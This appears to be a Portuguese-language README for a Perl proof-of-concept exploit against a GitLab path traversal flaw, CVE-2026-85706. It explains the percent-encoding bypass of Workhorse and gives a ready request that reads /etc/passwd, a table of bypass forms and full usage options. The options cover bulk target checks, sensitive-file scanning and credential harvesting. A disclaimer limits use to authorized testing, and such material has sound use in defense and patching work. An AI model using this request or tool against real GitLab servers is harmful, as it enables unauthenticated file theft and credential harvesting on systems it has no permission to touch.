
Perl PoC exploiting CVE-2026-85706, an unauthenticated GitLab path traversal enabling arbitrary file read, with bulk scanning and credential harvesting.
Exclusivamente para testes de penetração autorizados e operações de Red Team.
O uso não autorizado é crime. Veja o Aviso Legal.
A CVE-2026-85706 é uma vulnerabilidade de path traversal com CVSS 10.0 nas edições Community e Enterprise do GitLab que permite a um atacante completamente não autenticado ler arquivos arbitrários do sistema de arquivos do servidor com uma única requisição HTTP. Nenhuma credencial, token ou interação do usuário é necessária.
| Branch | Faixa Vulnerável | Corrigido Em |
|---|---|---|
| 18.x | 18.7 → 19.1.7 | 19.1.8 |
| 19.2 | 19.2.0 → 19.2.5 | 19.2.6 |
| 19.3 | 19.3.0 → 19.3.1 | 19.3.2 |
O GitLab opera com três camadas de processamento HTTP:
Internet → [Nginx] → [Workhorse (Go)] → [Puma (Ruby/Rack)] → [Rails/Grape API]
O Workhorse é um proxy reverso inteligente: para certos endpoints de "upload" (commits de repositório, operações em arquivos), ele lê o corpo da requisição multipart, salva os dados em disco e reescreve a requisição antes de encaminhá-la ao Puma. Crucialmente, ele anexa um cabeçalho JWT (Gitlab-Workhorse-Api-Request) a cada requisição que intermedia. O Rails então valida esse JWT (via require_gitlab_workhorse!) antes de executar qualquer lógica do handler.
Camada 1 — Correspondência de rotas no Workhorse:
O Workhorse combina caminhos de requisição usando uma regex compilada que opera sobre a string de bytes bruta, codificada em percent-encoding. Ele não decodifica sequências %XX antes de fazer a correspondência.
Camada 2 — Roteamento Puma/Rack:
O Puma decodifica sequências %XX antes do Grape rotear a requisição. Portanto, uma requisição para /repository/%63ommits é decodificada para /repository/commits e roteada para CommitsController.
Camada 3 — Leitura de arquivo pré-autenticação:
Uma vez no handler do Rails (alcançado sem o JWT do Workhorse, pois o Workhorse nunca correspondeu à requisição), o handler lê params[:file][:path] da query string e chama:
File.open(params[:file][:path]) # ← acontece ANTES da autenticação
Ao codificar em percent-encoding um único caractere em um segmento estático do caminho, a requisição do atacante passa despercebida pelo Workhorse:
| Segmento | Original | Forma de Bypass | Char Codificado |
|---|---|---|---|
commits | commits | %63ommits | c → %63 |
commits | commits | %43ommits | C → %43 |
repository | repository | %72epository | r → %72 |
files | files | %66iles | f → %66 |
| (qualquer) | commits | commits/ | barra final |
| (qualquer) | commits | commits.json | sufixo Grape |
Após o arquivo ser aberto, o conteúdo é exfiltrado via o parser de query string do Rack:
Rack::Utils.parse_nested_query(File.read(path))
Se o arquivo contém um % não seguido de dois dígitos hexadecimais válidos (comum em arquivos de configuração Ruby, YAML de CI, logs, etc.), o Rack lança:
InvalidParameterError: Invalid parameter: invalid %-encoding (<BYTES_DO_ARQUIVO>)
Esse corpo de resposta 400 contém os bytes brutos do arquivo até o byte ofensivo — revelando o conteúdo do arquivo ao chamador não autenticado.
Arquivos sem sequências % exploráveis (ex.: /etc/passwd limpo) retornam um 401 ou erro de validação de parâmetro após a leitura: isso age como um oráculo de existência de arquivo (a leitura ainda aconteceu pré-autenticação).
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application%2Fx-www-form-urlencoded HTTP/1.1
Host: gitlab.corp.com
User-Agent: cve-2026-85706-perl-poc/1.0.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
| Técnica | ID | Implementação neste PoC |
|---|---|---|
| Descoberta de Arquivos e Diretórios | T1083 | Modo --scan verifica 38 caminhos sensíveis no servidor |
| Credenciais em Arquivos | T1552.001 | --harvest extrai chaves/tokens/senhas do conteúdo vazado |
| Módulo | Pacote | Função |
|---|---|---|
LWP::UserAgent | libwww-perl | Cliente HTTP (obrigatório) |
LWP::Protocol::https | libwww-perl | Suporte HTTPS (obrigatório) |
URI::Escape | liburi-perl | Codificação de query string (obrigatório) |
Term::ANSIColor | libterm-ansicolor-perl | Saída colorida (opcional) |
JSON | libjson-perl | Modo de saída JSON (opcional) |
# Debian/Ubuntu
apt install libwww-perl liburi-perl libterm-ansicolor-perl libjson-perl
# RHEL/Fedora
sudo yum install perl-libwww-perl perl-URI perl-Term-ANSIColor perl-JSON
# CPAN
cpan LWP::UserAgent LWP::Protocol::https Term::ANSIColor JSON
# Tornar executável
chmod +x exploit.pl
Uso: exploit.pl [OPÇÕES]
Alvo:
-u, --url <URL> URL base do GitLab [padrão: http://localhost:8080]
-p, --project-id <ID> ID numérico ou namespace%2Fprojeto [padrão: 1]
Forms Commits API: projeto precisa ser anonimamente acessível
Forms Files API: qualquer valor funciona (leitura precede auth)
Verificação de exploitabilidade:
-c, --check Verificação de exploitabilidade em alvo único (rápida por padrão — ≤9 requests)
--full Eleva para varredura completa 4 estágios (27+ probes, todos os 22 forms)
-L, --check-host-list <ARQUIVO> Verifica múltiplos alvos (uma URL/host por linha)
Adicione --full para varredura 4 estágios em cada host
Leitura de arquivo único:
-f, --file <CAMINHO> Caminho absoluto no servidor (ex.: /etc/passwd)
Modo scan (T1083 — Descoberta de Arquivos e Diretórios):
-s, --scan Verifica wordlist embutida de arquivos sensíveis (38 caminhos)
-w, --wordlist <ARQUIVO> Usa lista personalizada (um caminho absoluto por linha)
-H, --harvest Extrai credenciais do conteúdo vazado (T1552.001)
Saída:
-o, --output <ARQUIVO> Salva toda a saída em arquivo (tee)
-j, --json Emite resultados como array JSON (requer JSON.pm)
-v, --verbose Exibe URL completa antes de cada sonda
--no-color Desativa saída colorida ANSI
Conexão:
-t, --timeout <N> Timeout por requisição em segundos [padrão: 15]
-d, --delay <N> Pausa entre requisições em segundos (float) [padrão: 0]
-r, --retries <N> Tentativas em caso de erro de conexão [padrão: 2]
-A, --user-agent <STR> Sobrescreve o User-Agent